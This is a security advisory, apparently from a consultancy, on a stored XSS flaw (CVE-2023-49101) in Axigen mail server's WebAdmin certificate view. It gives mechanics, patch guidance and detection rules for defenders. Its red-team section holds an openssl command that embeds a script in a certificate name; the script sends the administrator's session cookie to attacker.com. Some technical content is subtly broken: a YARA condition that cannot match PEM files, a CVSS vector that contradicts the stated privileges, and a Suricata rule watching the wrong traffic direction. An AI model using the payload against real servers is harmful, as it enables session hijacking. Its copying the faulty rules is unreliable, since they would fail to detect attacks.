CVE-2023-49101

Executive Summary

CVE-2023-49101 is a stored Cross-Site Scripting (XSS) vulnerability in the WebAdmin interface of Axigen mail server versions 10.3.x before 10.3.3.61, 10.4.x before 10.4.24, and 10.5.x before 10.5.10. The flaw resides in the SSL certificate usage viewing functionality, where user-controlled input is not properly sanitized before being rendered in an administrative context. An attacker with low privileges can inject malicious scripts that execute in the browser of an authenticated administrator, leading to session hijacking, credential theft, or unauthorized administrative actions. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), with no public exploit code or active exploitation observed at the time of analysis. The vendor has released patched versions, and immediate upgrade is recommended.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects the proprietary Axigen mail server software. No supply chain compromise has been identified.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Base Score: 6.1 (Medium)

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and lateral movement within the mail server environment elevates the risk for organizations using Axigen.

Deep Dive & Mechanics

The vulnerability exists in the WebAdmin interface's SSL certificate management section. When an administrator views the usage details of an SSL certificate, the application fails to properly sanitize the certificate's subject, issuer, or other fields before rendering them in the HTML page. An attacker can craft a malicious SSL certificate containing JavaScript payloads in these fields. When the certificate is uploaded to the server (or if the server is configured to fetch certificates from an attacker-controlled source), and an admin subsequently views its usage, the payload executes in the admin's browser context.

Attack Flow:

1. Prerequisite: The attacker must have the ability to upload or influence an SSL certificate that will be stored on the Axigen server. This could be achieved through a separate vulnerability, social engineering, or if the server is configured to fetch certificates from external sources.
2. Injection: The attacker creates an SSL certificate with a malicious payload in the subject or issuer field (e.g., <script>alert('XSS')</script>).
3. Trigger: An authenticated administrator navigates to the SSL certificate usage view in WebAdmin.
4. Execution: The server renders the malicious field without sanitization, causing the browser to execute the attacker's script.
5. Impact: The script can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct output without sanitization
echo "<td>" . $certificate['subject'] . "</td>";

Patched Code (Conceptual):

// Patched: Output encoded to prevent XSS
echo "<td>" . htmlspecialchars($certificate['subject'], ENT_QUOTES, 'UTF-8') . "</td>";

The patch ensures that all user-controlled fields from SSL certificates are HTML-entity encoded before being rendered in the admin interface.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Axigen 10.4.23 (vulnerable) installed on a Linux VM.
• Attacker machine with OpenSSL and a web browser.
• Admin account credentials for WebAdmin.

Exploitation Steps:

1. Generate Malicious Certificate:

   openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/C=US/ST=CA/L=SF/O=Hack/CN=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
   

2. Upload Certificate: Log into WebAdmin as an attacker with certificate upload privileges (or use another vector to place the certificate on the server).
3. Trigger XSS: As the admin, navigate to the SSL certificate usage view. The script executes, sending the admin's session cookie to the attacker's server.
4. Session Hijacking: The attacker uses the stolen cookie to impersonate the admin.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection & Prevention:

• Input Validation: Ensure all certificate fields are sanitized before rendering.
• Content Security Policy (CSP): Implement a strict CSP in WebAdmin to block inline scripts.
• Web Application Firewall (WAF): Deploy WAF rules to detect XSS payloads in certificate fields.
• Log Monitoring: Monitor for unusual certificate uploads and admin session anomalies.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests from the Axigen server to unknown external domains containing cookie data.
• Logs: WebAdmin access logs showing requests to /webadmin/ssl_usage with unusual referrer headers.
• File System: SSL certificates with suspicious subject/issuer fields containing JavaScript code.
• Process: Unexpected child processes spawned by the web server (e.g., curl, wget).

Example IOC (YARA rule for certificate files):

rule Suspicious_SSL_Certificate_XSS {
    meta:
        description = "Detects SSL certificates with potential XSS payloads in subject/issuer"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $xss1 = "<script" ascii nocase
        $xss2 = "onerror=" ascii nocase
        $xss3 = "javascript:" ascii nocase
    condition:
        any of ($xss*) and (uint32(0) == 0x00000000) // PEM format
}

Detection Engineering

YARA Rule

rule CVE_2023_49101_XSS_Detection {
    meta:
        description = "Detects XSS payloads in Axigen WebAdmin SSL certificate fields"
        author = "Valters IT"
        reference = "CVE-2023-49101"
        date = "2025-04-10"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $javascript_uri = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: Axigen WebAdmin XSS via SSL Certificate Fields
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attempts against Axigen WebAdmin via malicious SSL certificate fields
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: axigen
detection:
    selection:
        cs-uri-query|contains: "/webadmin/ssl_usage"
    keywords:
        - "<script"
        - "onerror="
        - "javascript:"
    condition: selection and keywords
falsepositives:
    - Legitimate SSL certificates with unusual characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-49101 Axigen WebAdmin XSS Attempt"; flow:to_server,established; content:"/webadmin/ssl_usage"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Axigen: Update to version 10.3.3.61, 10.4.24, or 10.5.10 or later.
2. Restrict Certificate Upload: Limit which users can upload SSL certificates to trusted administrators only.
3. Enable CSP: Add a Content Security Policy header to WebAdmin:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-Term Measures:

• Implement regular security audits of the WebAdmin interface.
• Use a Web Application Firewall (WAF) with XSS protection rules.
• Train administrators to recognize phishing and social engineering attacks.

Workaround (if patching is delayed):

• Disable the SSL certificate usage view feature if possible.
• Use a reverse proxy to sanitize output before it reaches the admin's browser.

Valters IT